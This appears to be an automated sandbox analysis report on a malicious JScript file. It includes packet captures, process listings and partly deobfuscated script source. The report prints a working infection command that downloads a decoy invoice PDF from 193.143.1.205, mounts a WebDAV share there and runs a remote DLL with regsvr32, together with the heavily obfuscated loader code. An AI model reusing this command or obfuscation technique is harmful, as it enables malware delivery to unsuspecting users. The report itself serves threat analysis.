Jan 10, 2025 17:10:55.500504017 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:55.916290998 CET	49714	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:55.921215057 CET	8888	49714	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:55.921421051 CET	49714	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:55.921895981 CET	49714	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:55.926692963 CET	8888	49714	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:56.721230984 CET	8888	49714	193.143.1.205	192.168.2.7
Jan 10, 2025 17:10:56.774662018 CET	49714	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 17:10:57.020416975 CET	49714	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:11:08.784024954 CET	51346	53	192.168.2.7	1.1.1.1
Jan 10, 2025 17:11:32.710779905 CET	55593	53	192.168.2.7	1.1.1.1
Jan 10, 2025 17:11:56.820478916 CET	54105	53	192.168.2.7	1.1.1.1
Jan 10, 2025 17:12:20.899523020 CET	62098	53	192.168.2.7	1.1.1.1
Jan 10, 2025 17:12:44.977880955 CET	59630	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:11:08.784024954 CET	192.168.2.7	1.1.1.1	0x35b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:32.710779905 CET	192.168.2.7	1.1.1.1	0x16	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:56.820478916 CET	192.168.2.7	1.1.1.1	0xe90c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:20.899523020 CET	192.168.2.7	1.1.1.1	0x9943	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:12:44.977880955 CET	192.168.2.7	1.1.1.1	0x4aac	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:11:07.306091070 CET	1.1.1.1	192.168.2.7	0xe1d9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:07.306091070 CET	1.1.1.1	192.168.2.7	0xe1d9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:11:08.790766001 CET	1.1.1.1	192.168.2.7	0x35b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:11:32.719139099 CET	1.1.1.1	192.168.2.7	0x16	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:11:56.827688932 CET	1.1.1.1	192.168.2.7	0xe90c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:12:20.906537056 CET	1.1.1.1	192.168.2.7	0x9943	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:12:44.985069990 CET	1.1.1.1	192.168.2.7	0x4aac	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	193.143.1.205	80	7128	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:10:53.400376081 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:10:54.216500044 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:10:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:10:54.216526031 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:10:54.216537952 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:10:54.216550112 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:10:54.217204094 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 17:10:54.217233896 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 17:10:54.217253923 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 17:10:54.217289925 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 17:10:54.217300892 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 17:10:54.217313051 CET	600	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 10, 2025 17:10:54.285237074 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49714	193.143.1.205	8888	2404	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:10:55.921895981 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:10:56.721230984 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:10:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	4
Start time:	11:10:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23268167561217715617.js"
Imagebase:	0x7ff7bd840000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:10:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Imagebase:	0x7ff795ae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:10:50
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7b0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:10:50
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:10:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:10:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff795ae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:10:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d58c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:10:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	11:10:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	11:10:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1760,i,841207783363075579,11677814257639590929,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ooxmbbz() {	ooxmbbz() ➔ undefined
1	qsspl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var aovxwvv = this[ejlascgh + btzuq + nqgfrqqpz + ehjggz + gmtxuky + prgix + xduacafaq + zehgni] ( this[wuclfa + ybyosoz + gezcayfi + nqgfrqqpz + szzaekklo + ejlascgh + zehgni][zhxwgfzd + nqgfrqqpz + gmtxuky + btzuq + zehgni + gmtxuky + dsqurw + gmnzanl + cnkapl + gmtxuky + gezcayfi + zehgni] ( wuclfa + ybyosoz + gezcayfi + nqgfrqqpz + szzaekklo + ejlascgh + zehgni + rshymh + ybyosoz + nagcvj + gmtxuky + cfoganivo + cfoganivo ) [pqwqweb + gmtxuky + hdhvljjvv + pqwqweb + gmtxuky + btzuq + cdpzjeg] ( owanrta + zyumu + apccvkyfc + hokaoi + dviltic + zhxwgfzd + rgznorky + pqwqweb + pqwqweb + apccvkyfc + jqbwrauuk + elqcddxqt + dviltic + rgznorky + ybyosoz + apccvkyfc + pqwqweb + ohddjqdr + zhxwgfzd + gacaixcd + xduacafaq + zehgni + nqgfrqqpz + gacaixcd + cfoganivo + forguwhe + qqytzr + btzuq + xduacafaq + gmtxuky + cfoganivo + ohddjqdr + prgix + xduacafaq + zehgni + gmtxuky + nqgfrqqpz + xduacafaq + btzuq + zehgni + szzaekklo + gacaixcd + xduacafaq + btzuq + cfoganivo + ohddjqdr + negdachzp + gacaixcd + gezcayfi + btzuq + cfoganivo + gmtxuky ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tqfmuhse = 0 ; tqfmuhse < qsspl[cfoganivo + gmtxuky + xduacafaq + hdhvljjvv + zehgni + nagcvj] ; ++ tqfmuhse )
4	{
5	if ( aovxwvv == qsspl[tqfmuhse] )
6	{
7	aovxwvv = true;
8	break ;
9	}
10	}
11	if ( aovxwvv !== true )
12	this[wuclfa + ybyosoz + gezcayfi + nqgfrqqpz + szzaekklo + ejlascgh + zehgni][sixfbkoa + wwgbrjqcf + szzaekklo + zehgni] ( );
13	this[wuclfa + ybyosoz + gezcayfi + nqgfrqqpz + szzaekklo + ejlascgh + zehgni][zhxwgfzd + nqgfrqqpz + gmtxuky + btzuq + zehgni + gmtxuky + dsqurw + gmnzanl + cnkapl + gmtxuky + gezcayfi + zehgni] ( wuclfa + ybyosoz + gezcayfi + nqgfrqqpz + szzaekklo + ejlascgh + zehgni + rshymh + ybyosoz + nagcvj + gmtxuky + cfoganivo + cfoganivo ) [nqgfrqqpz + wwgbrjqcf + xduacafaq] ( gezcayfi + jeooof + cdpzjeg + forguwhe + wurnj + gezcayfi + forguwhe + ejlascgh + gacaixcd + vylakp + gmtxuky + nqgfrqqpz + ehjggz + nagcvj + gmtxuky + cfoganivo + cfoganivo + rshymh + gmtxuky + kshvx + gmtxuky + forguwhe + wvsfksfoz + zhxwgfzd + gacaixcd + jeooof + jeooof + btzuq + xduacafaq + cdpzjeg + forguwhe + etquld + prgix + xduacafaq + qaxzr + gacaixcd + rcpygqt + gmtxuky + wvsfksfoz + wuclfa + gmtxuky + gmnzanl + pqwqweb + gmtxuky + mwwzqi + wwgbrjqcf + gmtxuky + ehjggz + zehgni + forguwhe + wvsfksfoz + dsqurw + wwgbrjqcf + zehgni + pdieglq + szzaekklo + cfoganivo + gmtxuky + forguwhe + addzcykn + zehgni + gmtxuky + jeooof + ejlascgh + addzcykn + ohddjqdr + szzaekklo + xduacafaq + qaxzr + gacaixcd + szzaekklo + gezcayfi + gmtxuky + rshymh + ejlascgh + cdpzjeg + gmnnywe + forguwhe + nagcvj + zehgni + zehgni + ejlascgh + qkvwx + wurnj + wurnj + qveav + ixesn + dlzqsfrn + rshymh + qveav + usxwk + dlzqsfrn + rshymh + qveav + rshymh + fyskk + wrvajs + uhknlmmqh + wurnj + szzaekklo + xduacafaq + qaxzr + gacaixcd + szzaekklo + gezcayfi + gmtxuky + rshymh + ejlascgh + nagcvj + ejlascgh + etquld + wpbpxsopf + wpbpxsopf + ehjggz + zehgni + btzuq + nqgfrqqpz + zehgni + forguwhe + addzcykn + zehgni + gmtxuky + jeooof + ejlascgh + addzcykn + ohddjqdr + szzaekklo + xduacafaq + qaxzr + gacaixcd + szzaekklo + gezcayfi + gmtxuky + rshymh + ejlascgh + cdpzjeg + gmnnywe + wpbpxsopf + wpbpxsopf + gezcayfi + jeooof + cdpzjeg + forguwhe + wurnj + gezcayfi + forguwhe + xduacafaq + gmtxuky + zehgni + forguwhe + wwgbrjqcf + ehjggz + gmtxuky + forguwhe + ohddjqdr + ohddjqdr + qveav + ixesn + dlzqsfrn + rshymh + qveav + usxwk + dlzqsfrn + rshymh + qveav + rshymh + fyskk + wrvajs + uhknlmmqh + iprgqh + ohrpfsb + ohrpfsb + ohrpfsb + ohrpfsb + ohddjqdr + cdpzjeg + btzuq + qaxzr + vylakp + vylakp + vylakp + nqgfrqqpz + gacaixcd + gacaixcd + zehgni + ohddjqdr + wpbpxsopf + wpbpxsopf + gezcayfi + jeooof + cdpzjeg + forguwhe + wurnj + gezcayfi + forguwhe + nqgfrqqpz + gmtxuky + hdhvljjvv + ehjggz + qaxzr + nqgfrqqpz + dlzqsfrn + fyskk + forguwhe + wurnj + ehjggz + forguwhe + ohddjqdr + ohddjqdr + qveav + ixesn + dlzqsfrn + rshymh + qveav + usxwk + dlzqsfrn + rshymh + qveav + rshymh + fyskk + wrvajs + uhknlmmqh + iprgqh + ohrpfsb + ohrpfsb + ohrpfsb + ohrpfsb + ohddjqdr + cdpzjeg + btzuq + qaxzr + vylakp + vylakp + vylakp + nqgfrqqpz + gacaixcd + gacaixcd + zehgni + ohddjqdr + qveav + jzprotjq + qveav + ixesn + usxwk + fyskk + ixesn + ohrpfsb + uhknlmmqh + wrvajs + jvpolq + dlzqsfrn + uhknlmmqh + qveav + rshymh + cdpzjeg + cfoganivo + cfoganivo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll",0,false) ➔ 0
14	}
15	nagcvj = "t";
16	nagcvj = "w";
17	nagcvj = "a";
18	nagcvj = "n";
19	nagcvj = "h";
20	wvsfksfoz = "j";
21	wvsfksfoz = "D";
22	wvsfksfoz = "H";
23	wvsfksfoz = "f";
24	wvsfksfoz = "E";
25	wvsfksfoz = "g";
26	wvsfksfoz = "Z";
27	wvsfksfoz = "s";
28	wvsfksfoz = "L";
29	wvsfksfoz = "G";
30	wvsfksfoz = "T";
31	wvsfksfoz = "Z";
32	wvsfksfoz = "V";
33	wvsfksfoz = "r";
34	wvsfksfoz = "q";
35	wvsfksfoz = "h";
36	wvsfksfoz = "p";
37	wvsfksfoz = "U";
38	wvsfksfoz = "L";
39	wvsfksfoz = "W";
40	wvsfksfoz = "D";
41	wvsfksfoz = "t";
42	wvsfksfoz = "J";
43	wvsfksfoz = "F";
44	wvsfksfoz = "M";
45	wvsfksfoz = "u";
46	wvsfksfoz = "g";
47	wvsfksfoz = "i";
48	wvsfksfoz = "m";
49	wvsfksfoz = "-";
50	hdhvljjvv = "i";
51	hdhvljjvv = "t";
52	hdhvljjvv = "m";
53	hdhvljjvv = "e";
54	hdhvljjvv = "X";
55	hdhvljjvv = "N";
56	hdhvljjvv = "p";
57	hdhvljjvv = "p";
58	hdhvljjvv = "R";
59	hdhvljjvv = "S";
60	hdhvljjvv = "j";
61	hdhvljjvv = "i";
62	hdhvljjvv = "i";
63	hdhvljjvv = "Y";
64	hdhvljjvv = "n";
65	hdhvljjvv = "l";
66	hdhvljjvv = "z";
67	hdhvljjvv = "q";
68	hdhvljjvv = "q";
69	hdhvljjvv = "j";
70	hdhvljjvv = "o";
71	hdhvljjvv = "h";
72	hdhvljjvv = "R";
73	hdhvljjvv = "V";
74	hdhvljjvv = "F";
75	hdhvljjvv = "Z";
76	hdhvljjvv = "k";
77	hdhvljjvv = "o";
78	hdhvljjvv = "w";
79	hdhvljjvv = "o";
80	hdhvljjvv = "g";
81	ohddjqdr = "s";
82	ohddjqdr = "B";
83	ohddjqdr = "k";
84	ohddjqdr = "O";
85	ohddjqdr = "h";
86	ohddjqdr = "X";
87	ohddjqdr = "I";
88	ohddjqdr = "y";
89	ohddjqdr = "k";
90	ohddjqdr = "t";
91	ohddjqdr = "z";
92	ohddjqdr = "o";
93	ohddjqdr = "u";
94	ohddjqdr = "d";
95	ohddjqdr = "i";
96	ohddjqdr = "\\";
97	apccvkyfc = "v";
98	apccvkyfc = "r";
99	apccvkyfc = "E";
100	usxwk = "u";
101	usxwk = "c";
102	usxwk = "B";
103	usxwk = "u";
104	usxwk = "T";
105	usxwk = "N";
106	usxwk = "c";
107	usxwk = "g";
108	usxwk = "G";
109	usxwk = "i";
110	usxwk = "r";
111	usxwk = "A";
112	usxwk = "x";
113	usxwk = "R";
114	usxwk = "R";
115	usxwk = "U";
116	usxwk = "A";
117	usxwk = "T";
118	usxwk = "p";
119	usxwk = "f";
120	usxwk = "C";
121	usxwk = "U";
122	usxwk = "X";
123	usxwk = "f";
